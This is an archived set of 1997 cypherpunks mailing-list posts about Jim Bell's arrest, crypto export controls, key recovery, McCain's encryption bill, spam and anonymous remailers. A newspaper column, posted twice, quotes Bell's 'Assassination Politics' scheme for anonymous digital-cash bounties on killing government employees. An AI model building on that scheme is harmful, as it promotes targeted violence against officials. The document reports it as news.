Message-ID: <3.0.32.19970622235138.00aeb954@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:38 PM 6/22/97 -0400, Robert Hettinga wrote:

>Admittedly, this is a distraction from the most important thing, which is
>writing code, but I bet that there are in fact cypherpunks-who-don't-code
>in Bell's neighborhood, and not necessarily even Friends of Jim, who would
>be happy to personally go see how Bell is doing and come back and tell us
>what happened. Think of it as part of the feedback loop for net.freedom. A
>trip into the coal mine with a canary cage.
>
>Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
>there want to do this?
............................................................................
.....


I live about an hour's drive from Tacoma.   I'm not too enthused about
taking such a lengthy trip just to go see how Mr. Private Assassinations is
doing, but - taking after your own methods, Robert - I'd be glad to do it
in exchange for a trip to Anguilla next Feb.  :>)

(You know, it is true that having friends in times of stress, like when
you're sitting in jail, is good for the soul, but on the other hand one
must give credit to Jim for his having created his own situation.   He did
provoke the government types into suspicions about him and he must have
known that distributing his AP ideas,  containing such apparent potential
for being translated into reality, would make him a grand target.   When
you do things like that, you ought to consider what you're going to do when
"they" come after you.   He afterall is quite aware of the atmosphere in
which we live and how fragile is the relationship (if it can be called
that) which civilians have with the local military saviors which daily
protect us from ourselves.)

Having said that, I'll consider the possibility, if visitors are allowed on
weekends.   Perhaps several cpunks could go (if anyone else around here
interested? (Wei, Joel, I know you're just dying to go <g>)), if more than
one visitor at a time is allowed . 
  

    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 23 Jun 1997 07:10:25 +0800
To: stewarts@ix.netcom.com
Subject: spook pressure on crypto exports (was Re: cypherpunks coding challenge)
In-Reply-To: <3.0.2.32.19970622141801.0076582c@popd.ix.netcom.com>
Message-ID: <199706222306.AAA01385@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




(cc'd to a couple of people who's name is mentioned in second half)

Bill Stewart <stewarts@ix.netcom.com> writes:
> Tim May <tcmay@got.net> writes:
> >Not to be tedious about this, but why would "lines of code" be an
> >interesting metric?
> 
> Yeah - I was thinking of the following entries:
>   Adam Back           RSAperl		4 lines
>   Adam Back et al.	RSAperl		2 lines
> 
> I don't think anybody's made a T-Shirt with SSLeay on it yet :-)

:-)

> (Though actually SSLeay has been very useful to a lot of the
> world's free cryptography, and has prompted the US spooks 
> to pressure the Australian spooks into restricting crypto exports,
> just as they've pressured the NZs into restricting them for
> Peter Gutman, and have been trying to work on the Irish...)

Could you elaborate on these.  I caught Peter Gutmann's comments on
the hassles a company he did some work for were having with the NZ
spooks.  (The spooks intercepted their mailed disk, plus some other
cloak and dagger spookish stuff).  Is this still going on, was it ever
resolved?  Can the next version of cryptlib be exported legally?  Or
are we relying on Peters bravery?

I remember vaguely some announcments about Australia.  Has Eric said
anything on this, has anything been enforced, is it legal to export
SSLeay from down under?

Ireland is new to me.  What's their problem?  Who's exporting things
to attract spook export attention over there?  (There are quite a lot
of high tech companies over there, it's a sort of Euro silicon valley,
mostly due to tax breaks, 10% corporation tax, etc).

Btw, the UK has it's own problems also.  You can export whatever you
want in `intangible form', but to post something in a tangible form,
such as perhaps a CD (or a perl-rsa T-shirt?) you need permission from
DTI in consultation with GCHQ.  There are several forms of license you
can get depending on what GCHQ think of your product and of you
politically.  These vary between getting a license to export pretty
much anywhere except embargoed countries (Iraq, China, etc) without
further hassle, to having to ask for export permission on a case by
case basis, going down to permission for repeat exports to the same
customer.  The heuristic by which permission is handed out is nearly
impossible to extract from the beaurocrats/spooks.  (Give us
protocols, and a customer, and we'll tell you.)

I have it unofficially from the hosses mouth that if you make use of
the intangible export loophole, that it might "reduce" your chances of
getting permission to export tangibly.

I thought Ireland was similar, being based on European legislation,
though perhaps with less of an axe to grind than GCHQ, being as GCHQ
(CESG) are the authors of the euro GAK, (CASM/Cloud Cover/Royal
Holloway TTP scheme) and the TTP paper which caused a fuss last month.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 23 Jun 1997 19:18:34 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <v03020926afd30f8f70cc@[139.167.130.247]>
Message-ID: <Pine.LNX.3.91.970623000738.542A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Has anybody local to Jim Bell's stir gone to visit our incarcerated, um,
> gaming enthusiast, lately, just to see if he needs anything? Oh. Besides
> *that* of course. :-).

I had thought that Jims court appearance was to be sometime about a week 
ago, what was he actually charged with? Has he appeared in court yet?

> That's because Bell is, however rediculous the offense or his behavior the
> first cypherpunk political prisoner. He's ours, folks, like it or not. It's
> time we faced it, and dealt with the problem accordingly.

Indeed, Jim is without doubt under arrest not on whatever cooked-up 
charges they are holding him on, but because of AP and his "loon" type 
possesion of carbon fibers etc. Jim certainly deserves our support, who 
next otherwise? You?

> Admittedly, this is a distraction from the most important thing, which is
> writing code, but I bet that there are in fact cypherpunks-who-don't-code
> in Bell's neighborhood, and not necessarily even Friends of Jim, who would
> be happy to personally go see how Bell is doing and come back and tell us
> what happened. Think of it as part of the feedback loop for net.freedom. A
> trip into the coal mine with a canary cage.

Not enough cypherpunks ever get round to writing significant code, myself 
included. I have lost count of the number of times I have sat down at a 
workstation overnight, got some way into starting a project, then just 
given up on it. I hope someone does go and see Jim, at the very least it 
would be a pleasant gesture and give Jim the message that the cypherpunks 
haven`t forgotten about him. Sure, It`s easy for me to talk, I can`t go 
and see him, I`m hardly in his neighbourhood, but if you shrug your 
shoulders and ignore his position it could be you next.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 23 Jun 1997 12:27:14 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <199706230158.DAA25236@basement.replay.com>
Message-ID: <Pine.GSO.3.95.970623001303.18526D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



Interesting theory, but unfortunately untrue. Bell is not being held
incommunicado. His mother told me she sees him regularly, if not daily.
His lawyer talks to him. He's able to make collect calls, like most
prisoners.

Hardly "incommunicado."

-Declan

PS: Note I'm not defending holding Bell without bail.


On Mon, 23 Jun 1997, Anonymous wrote:

> Free speech - Unless Govt. doesn't like it
> 
> From           talltom <"talltom(SPAMBLOCKER)"@ipns.com>
> Organization   Alternate Access Inc.
> Date           Sat, 21 Jun 1997 19:23:39 -0700
> Newsgroups     or.politics
> Message-ID     <33AC8CAB.199F@ipns.com>
> 
> This is in reference to a local, that's being held incommunicado
> in Tacoma. I've personally tried to contact Jim and the Marshalls 
> office said they'd "try" to get a message to him, wouldn't give me an 
> address, and were REALLY interested in my address.
> 
>  I believe the reason for holding Jim incomunicado is that the ACLU
> requires that the accused ask them for help, and the feds know that
> if Jim can't ask he won't get their help.
> 
> Vin covers the situation nicely...
> 
> [Vin Suprynowicz column:]
> 
>     In the summer of 1995, 39-year-old electronics engineer Jim Bell of
> Vancouver, Wash. (coincidentally the scene of the climactic battle 
> between militia and central government forces in Ian Slater's current 
> potboiler paperback "Showdown: U.S.A. vs. Militia,") penned an intriguing 
> and controversial essay called "Assassination Politics," which has since 
> been kicking around various Internet discussion groups, triggering 
> responses from delight to outrage.
> 
>   This section from Mr. Bell's introduction gives the gist:
> 
>   "A few months ago, I had a truly and quite literally 'revolutionary'
> idea, and I jokingly called it 'Assassination Politics': I speculated on
> the question of whether an organization could be set up to legally 
> announce that it would be awarding a cash prize to somebody who correctly
> 'predicted' the death of one of a list of violators of rights, usually
> either government employees, officeholders, or appointees. It could ask 
> for anonymous contributions from the public, and individuals would be able 
> send those contributions using digital cash.
> 
>   "I also speculated that using modern methods of public-key encryption 
> and anonymous 'digital cash,' it would be possible to make such awards in 
> such a way so that nobody knows who is getting awarded the money, only that 
> the award is being given. Even the organization itself would have no
> information that could help the authorities find the person responsible 
> for the prediction, let alone the one who caused the death. ...
> 
>   "Obviously, the problem with the general case is that the victim may be
> totally innocent under libertarian principles, which would make the 
> killing a crime, leading to the question of whether the person offering the 
> money was himself guilty.
> 
>   "(But) my speculation assumed that the 'victim' is a government 
> employee, presumably one who is not merely taking a paycheck of stolen tax 
> dollars, but also is guilty of extra violations of rights beyond this. 
> (Government agents responsible for the Ruby Ridge incident and Waco come 
> to mind.) In receiving such money and in his various acts, he violates the
> 'Non-aggression Principle' (NAP) and thus, presumably, any acts against 
> him are not the initiation of force under libertarian principles.
> 
>   "The organization set up to manage such a system could, presumably, 
> make up a list of people who had seriously violated the NAP, but who would 
> not see justice in our courts due to the fact that their actions were done 
> at the behest of the government. ..."
> 
>   In a followup essay titled "Fishing Expedition Swims Against the Tide,"
> published in the May 14 edition of the daily Portland Oregonian, Bell
> wrote, in part:
> 
>   "... I've been openly debating the idea on the Internet since then with
> anyone who will listen. My essay surprises many and shocks more than a
> few, but I am pleased that such a truly revolutionary concept has been so
> well received. Even the Columbian newspaper (www.columbian.com) has 
> decided to add a pointer to the essay.
> 
>   "The only 'threat' in the essay is to the jobs of the people who have
> been parasites on the rest of us for decades, as well as to the future of
> tyrannies around the world.  But that's why, on April 1, 20 federal 
> agents burst in and took my computer, told the news media I was 'armed and
> dangerous,' and began engaging in a fishing expedition including 
> harassing people simply for knowing me. (No arrest or charges so far.) ..."
> 
>   The charges were forthcoming.
> 
>   Jim Bell was arrested on Friday, May 16, and has been held ever since,
> without bond, in the Pierce County Jail in Tacoma, Wash., on a federal
> complaint which alleges:
> 
>   "Beginning at a time unknown, and continuing to the present, ... JAMES
> DALTON BELL did corruptly obstruct and impede ... the due administration 
> of the internal revenue laws, among other things, by collecting the names 
> and home addresses of agents and employees of the Internal Revenue Service
> ('IRS') in order to intimidate them in the performance of their official
> functions; by soliciting others to join in a scheme known as 'Assassination
> Politics' whereby those who killed IRS employees would be rewarded; by
> using social security account numbers that were not assigned to him to 
> hide his assets and thereby impede the IRS's ability to collect his unpaid
> taxes, and by contaminating the area outside of the office of the IRS in
> Vancouver, Washington, with mercaptan, a chemical that causes a powerful
> odor."
> 
>   Nor does the complaint stop short with an alleged "stink bomb" floor 
> mat, proceeding to allege that Mr. Bell has at times discussed poisoning 
> water supplies, sabotaging government computers, and, well ... 
> "overthrowing the Government of the United States."
> 
>   The question here would appear to be whether Mr. Bell has actually 
> taken substantive steps, as alleged, to "implement" the theory in his 
> speculative Internet essay, or whether it is the IRS -- who since Feb. 20 
> have seized the heretofore non-violent Mr. Bell's car, wages and bank 
> accounts (presumably stymying at the very last minute his plan to 
> "overthrow the Government of the United States") -- who are doing the 
> "threatening and intimidating," in an attempt to send a message to anyone 
> who dares speculate about how justice might ever be obtained against 
> federal agents ... given that they are rarely if ever indicted, even for 
> the willful murder of children, as at Waco and Ruby Ridge.
> 
>   If the defendant Bell has indeed taken substantive steps to set in 
> motion the murder of any specific government agent, that of course is a 
> crime, for which he should expect to face the consequences.
> 
>   On the other hand, if writings of the "what if someone ..." variety 
> have now become a felony so serious that one can be seized and held 
> without bond, most of America's adventure and science fiction writers -- 
> who up till now have felt safe spinning thinly-veiled yarns about 
> near-future government coups and such -- had better watch their 
> backsides.
> 
>   Mr. Bell's attorney, Peter Avenia of the Public Defenders Office in
> Tacoma, says he fully expects Mr. Bell to be indicted by a federal grand
> jury within the next few weeks.
> 
>   I asked Mr. Avenia if he believes the case will present substantive 
> First Amendment questions.
> 
>   "It certainly does concern me."
> 
>   Is the IRS making an example of Mr. Bell, to chill any further
> discussions on the Internet of how justice can ever be had in the case of
> uniformed killers who apparently need no longer fear being indicted or
> brought to trial in this country?
> 
>   "It's certainly a possibility. In the context of the Oklahoma City
> bombing it's certainly a hostile atmosphere for any such defendant. I 
> think we can certainly ask whether the government is trying to send a 
> message to people who pen inflammatory writings."
> 
>   Defense attorney Avenia can be reached at the Federal Public Defenders
> Office, 1551 Broadway, Suite 501, Tacoma, Wash. 98402. The essay
> "Assassination Politics" is available on the Internet at
> http://jya.com/ap.htm. The current federal complaint against Mr. Bell can
> be found at http://jya.com/jimbell3.htm
> 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The 
> web site for the Suprynowicz column is at http://www.nguworld.com/vindex/
> 
> ***
> 
> Vin Suprynowicz,   vin@lvrj.com
> 
> Voir Dire: A French term which means "jury stacking."
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 23 Jun 1997 06:27:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hettinga's e$yllogism
Message-ID: <199706222220.AAA26096@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>  Digital Commerce *is* Financial Cryptography,
>  Financial Cryptography *is* Strong Cryptography,
>  therefore,
>  Digital Commerce *is* Strong Cryptography.
>  and, therefore,
>  No Strong Cryptography, no Digital Commerce.

Why can't escrowed ecash support digital commerce?  Strong crypto with
a government backdoor.  That's what you're offered.  Prove it can't work.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 23 Jun 1997 08:47:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Laying PipeNet
In-Reply-To: <v03102802afd305494670@[207.167.93.63]>
Message-ID: <5okgl4$tk4@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <199706222045.VAA00836@server.test.net>,
Adam Back  <aba@dcs.ex.ac.uk> wrote:
>Does any of the CU-SeeMe stuff come with source code?  Cons: at 28.8k
>modem speed, the image frame rate is poor, but worse the audio is near
>unusable, also limited to 8 conference participants.

I haven't used CU-SeeMe precisely because I couldn't find either source
or a Linux binary.  I do use the Mbone tools (vic, vat, etc.) somewhat
often. :-)

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 16:38:52 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: McCain Talks Crypto
In-Reply-To: <3.0.2.32.19970621204242.04307430@mail.teleport.com>
Message-ID: <3.0.2.32.19970623012309.030e9548@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:42 PM 6/21/97 -0700, Alan Olsen wrote:
>This guy needs to connect to a clue server soon before it is too late...

>http://www.wired.com/news/politics/story/4588.html           
>           McCain Talks Crypto          by Todd Lappin 
>
>           6:04pm  20.Jun.97.PDT Just got off the phone with Senator
>           John McCain. 
>...  Despite the fact that his bill cuts
>           the legs from under Pro-CODE - a bill by Montana
>           Republican Conrad Burns that would scrap the
>           export controls - McCain said he's eager to negotiate
>           on the issues. 
>
>           Here are the highlights of our 5-minute conversation
>           - during which a certain two-word term was repeated
>           again and again. Let's see if you can spot it. 
>
>           On the rationale behind S909:
>           "I've always said that national security is a primary
>           concern - and based on my own experience [nearly
>           six years as a Vietnam POW], I've had a lot of time to
>           consider how important that really is." 
>           "... I'm astonished that any industry would consider
>           their priorities to be so important that they override
>           national security concerns." 
>
>           On the rival Pro-CODE bill:
>           "I'm all for Pro-CODE - except for its impact on
>           national security. 
>
>           On the future:
>           "I promise you, now that we've adopted this
>           legislation, we will sit down and work this out with all
>           the parties involved. As I've said before, from a

Sigh.  Make the laws and then work out the details -- I don't think so :-)

However, if his real concern IS national security, then perhaps
he can be reached - not only is our real national security based on
the economy, but any vaguely competent foreign government or
major terrorist organization has access to all the crypto they need:
unlike fully assembled missiles and plutonium, which are hard to get and
hard to smuggle across borders, crypto is easy to buy anywhere in the US,
and the Enemies Of The State just have to take one copy out, by laptop,
by floppy disk, by modem, or by satellite, and you've lost control.

I assume he knows he's using the child pornography excuse as a 
cynical play to the media - the obvious response is that 
	McCain's Pro-Forgery Bill
by making good crypto tools less available, and by making sure
that people will choose to get their important digital certificates
from multiple CAs and non-US-controlled CAs, or just go uncertified,
will make it forgery more common and digital signatures less trusted.
So <wave hands wildly here> your kids are more likely to have fake IDs
like we did to drink when we were younger and <wave hands again>
that'll lead to more pornography on the net, imported from foreign
countries that have lower standards than our fine American communities, and...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Mon, 23 Jun 1997 17:07:25 +0800
To: cypherpunks@cyberpass.net
Subject: recoverability
Message-ID: <v0300780fafd1a6343843@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Although there is still talks much about key escrow/mgmt/recovery, the
policy on KMI recoverable products appears to be framed in terms of
plaintext recovery.  E.g., at a BXA crypto reg seminar, the handout used
the following def'n:

"Products which allow government officials to obtain, under proper legal
authority and without the cooperation or knowledge of the user, the
plaintext of the encrypted data and communications."

Lee


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM645jbk2KqHYSFEtEQKFIQCbBiazwaIWeWM28iLHOKIInzCj+nAAn3oj
9OddweX2M+fIa47cigevhiR1
=YuHD
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 23 Jun 1997 10:05:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Canarypunk: Jim Bell in a coalmine
Message-ID: <199706230158.DAA25236@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Free speech - Unless Govt. doesn't like it

>From           talltom <"talltom(SPAMBLOCKER)"@ipns.com>
Organization   Alternate Access Inc.
Date           Sat, 21 Jun 1997 19:23:39 -0700
Newsgroups     or.politics
Message-ID     <33AC8CAB.199F@ipns.com>

This is in reference to a local, that's being held incommunicado
in Tacoma. I've personally tried to contact Jim and the Marshalls 
office said they'd "try" to get a message to him, wouldn't give me an 
address, and were REALLY interested in my address.

 I believe the reason for holding Jim incomunicado is that the ACLU
requires that the accused ask them for help, and the feds know that
if Jim can't ask he won't get their help.

Vin covers the situation nicely...

[Vin Suprynowicz column:]

    In the summer of 1995, 39-year-old electronics engineer Jim Bell of
Vancouver, Wash. (coincidentally the scene of the climactic battle 
between militia and central government forces in Ian Slater's current 
potboiler paperback "Showdown: U.S.A. vs. Militia,") penned an intriguing 
and controversial essay called "Assassination Politics," which has since 
been kicking around various Internet discussion groups, triggering 
responses from delight to outrage.

  This section from Mr. Bell's introduction gives the gist:

  "A few months ago, I had a truly and quite literally 'revolutionary'
idea, and I jokingly called it 'Assassination Politics': I speculated on
the question of whether an organization could be set up to legally 
announce that it would be awarding a cash prize to somebody who correctly
'predicted' the death of one of a list of violators of rights, usually
either government employees, officeholders, or appointees. It could ask 
for anonymous contributions from the public, and individuals would be able 
send those contributions using digital cash.

  "I also speculated that using modern methods of public-key encryption 
and anonymous 'digital cash,' it would be possible to make such awards in 
such a way so that nobody knows who is getting awarded the money, only that 
the award is being given. Even the organization itself would have no
information that could help the authorities find the person responsible 
for the prediction, let alone the one who caused the death. ...

  "Obviously, the problem with the general case is that the victim may be
totally innocent under libertarian principles, which would make the 
killing a crime, leading to the question of whether the person offering the 
money was himself guilty.

  "(But) my speculation assumed that the 'victim' is a government 
employee, presumably one who is not merely taking a paycheck of stolen tax 
dollars, but also is guilty of extra violations of rights beyond this. 
(Government agents responsible for the Ruby Ridge incident and Waco come 
to mind.) In receiving such money and in his various acts, he violates the
'Non-aggression Principle' (NAP) and thus, presumably, any acts against 
him are not the initiation of force under libertarian principles.

  "The organization set up to manage such a system could, presumably, 
make up a list of people who had seriously violated the NAP, but who would 
not see justice in our courts due to the fact that their actions were done 
at the behest of the government. ..."

  In a followup essay titled "Fishing Expedition Swims Against the Tide,"
published in the May 14 edition of the daily Portland Oregonian, Bell
wrote, in part:

  "... I've been openly debating the idea on the Internet since then with
anyone who will listen. My essay surprises many and shocks more than a
few, but I am pleased that such a truly revolutionary concept has been so
well received. Even the Columbian newspaper (www.columbian.com) has 
decided to add a pointer to the essay.

  "The only 'threat' in the essay is to the jobs of the people who have
been parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why, on April 1, 20 federal 
agents burst in and took my computer, told the news media I was 'armed and
dangerous,' and began engaging in a fishing expedition including 
harassing people simply for knowing me. (No arrest or charges so far.) ..."

  The charges were forthcoming.

  Jim Bell was arrested on Friday, May 16, and has been held ever since,
without bond, in the Pierce County Jail in Tacoma, Wash., on a federal
complaint which alleges:

  "Beginning at a time unknown, and continuing to the present, ... JAMES
DALTON BELL did corruptly obstruct and impede ... the due administration 
of the internal revenue laws, among other things, by collecting the names 
and home addresses of agents and employees of the Internal Revenue Service
('IRS') in order to intimidate them in the performance of their official
functions; by soliciting others to join in a scheme known as 'Assassination
Politics' whereby those who killed IRS employees would be rewarded; by
using social security account numbers that were not assigned to him to 
hide his assets and thereby impede the IRS's ability to collect his unpaid
taxes, and by contaminating the area outside of the office of the IRS in
Vancouver, Washington, with mercaptan, a chemical that causes a powerful
odor."

  Nor does the complaint stop short with an alleged "stink bomb" floor 
mat, proceeding to allege that Mr. Bell has at times discussed poisoning 
water supplies, sabotaging government computers, and, well ... 
"overthrowing the Government of the United States."

  The question here would appear to be whether Mr. Bell has actually 
taken substantive steps, as alleged, to "implement" the theory in his 
speculative Internet essay, or whether it is the IRS -- who since Feb. 20 
have seized the heretofore non-violent Mr. Bell's car, wages and bank 
accounts (presumably stymying at the very last minute his plan to 
"overthrow the Government of the United States") -- who are doing the 
"threatening and intimidating," in an attempt to send a message to anyone 
who dares speculate about how justice might ever be obtained against 
federal agents ... given that they are rarely if ever indicted, even for 
the willful murder of children, as at Waco and Ruby Ridge.

  If the defendant Bell has indeed taken substantive steps to set in 
motion the murder of any specific government agent, that of course is a 
crime, for which he should expect to face the consequences.

  On the other hand, if writings of the "what if someone ..." variety 
have now become a felony so serious that one can be seized and held 
without bond, most of America's adventure and science fiction writers -- 
who up till now have felt safe spinning thinly-veiled yarns about 
near-future government coups and such -- had better watch their 
backsides.

  Mr. Bell's attorney, Peter Avenia of the Public Defenders Office in
Tacoma, says he fully expects Mr. Bell to be indicted by a federal grand
jury within the next few weeks.

  I asked Mr. Avenia if he believes the case will present substantive 
First Amendment questions.

  "It certainly does concern me."

  Is the IRS making an example of Mr. Bell, to chill any further
discussions on the Internet of how justice can ever be had in the case of
uniformed killers who apparently need no longer fear being indicted or
brought to trial in this country?

  "It's certainly a possibility. In the context of the Oklahoma City
bombing it's certainly a hostile atmosphere for any such defendant. I 
think we can certainly ask whether the government is trying to send a 
message to people who pen inflammatory writings."

  Defense attorney Avenia can be reached at the Federal Public Defenders
Office, 1551 Broadway, Suite 501, Tacoma, Wash. 98402. The essay
"Assassination Politics" is available on the Internet at
http://jya.com/ap.htm. The current federal complaint against Mr. Bell can
be found at http://jya.com/jimbell3.htm

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The 
web site for the Suprynowicz column is at http://www.nguworld.com/vindex/

***

Vin Suprynowicz,   vin@lvrj.com

Voir Dire: A French term which means "jury stacking."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Mon, 23 Jun 1997 21:20:22 +0800
To: cypherpunks@toad.com
Subject: New PGP signatures
Message-ID: <Pine.SOL.3.96.970623055041.2746A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Could I humbly request that people don't post the new (SHA?) PGP
signatures to the list for the time being as it's a pain in the ass for
those of us outside the US who don't yet have the ability to read them.
PGP 2.6.x error handling doesn't know what to do with them and it breaks
our mail-processing code.

	Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip A. Mongelluzzo" <phimon@ix.netcom.com>
Date: Mon, 23 Jun 1997 18:48:06 +0800
To: Tim May <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: spam on this list
In-Reply-To: <Pine.SOL.3.91.970623124902.559B-100000@hardy.ocs.mq.edu.au>
Message-ID: <3.0.2.32.19970623063123.0092e8c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I certainly agree with free speech and understand how it can be manipulated
by the scum bags at large in society, _BUT_ free speech is free speech.
The warts come from an ever increasing BENT society.

I still am concerned about kids being subject to material that is
inappropriate for their age group (what ever that may be).  So how do I
insure that my son/daugher does not get their hands on _THIS_ material?
Twenty seven years ago I took an oath to do whatever was needed to protect
and defend the constitution against all enemies (domestic and foreign)  But
what is the solution to this problem from a parents point of view?  Simple
- control the material.  Make it like liquor, guns, booze.  Oops.. for some
reason this is a violation of the 1st amendment to!  Ok, my mistake, its my
problem.  That's easy, no Internet access.  Now my kid is at a
disadvantage!  I keep loosing here.  I don't like the way this is beginning
to feel!!

I'm sure that the community on this list has discussed this problem at
length.  What is the best defense?  How do we get the message out or,
better yet, deliver it?  

Whatever that is, we need to do the same thing for the 2nd Ammendment, and
the 3rd, and so on.

The challenge to write code could be fun, but maybe we should use our
collective wisdom to deliver the best of the best solutions (there may be
more than one) to our elected officials.  Load their mailboxes up with
solutions to problems.  Sooner or later more than one of them is going to
think its his/her idea and push it along.  Web sites can be set up to
assist them with details.  I'm sure you get the idea.

Just another citizen wondering if anything is going to be left for our
grandchildren.


>At 7:51 PM -0700 6/22/97, Jason William RENNIE wrote:
>
>>Thats fine but, i dont want to be invited to look at nasty naked
>>cheerleaders. And isn't it somewhat problematic when a 15 yr old looks at
>>the mail box ?? BEsides i hate junk mail too, and if i could stick a no
>>junk mail sticker on my email i would.
>
>You're on the wrong list. We favor free speech, including inviting
>15-year-olds to look at pictures of their choosing on the Net. They don't
>_have_ to look, after all.
>
>Perhaps you should join forces with Sen. McCain and Sen. Feinswine, or your
>versions in your own country. Or move to Iran. Or something.
>
>
>--Tim May
>
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 23 Jun 1997 22:34:34 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199706231350.GAA13495@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
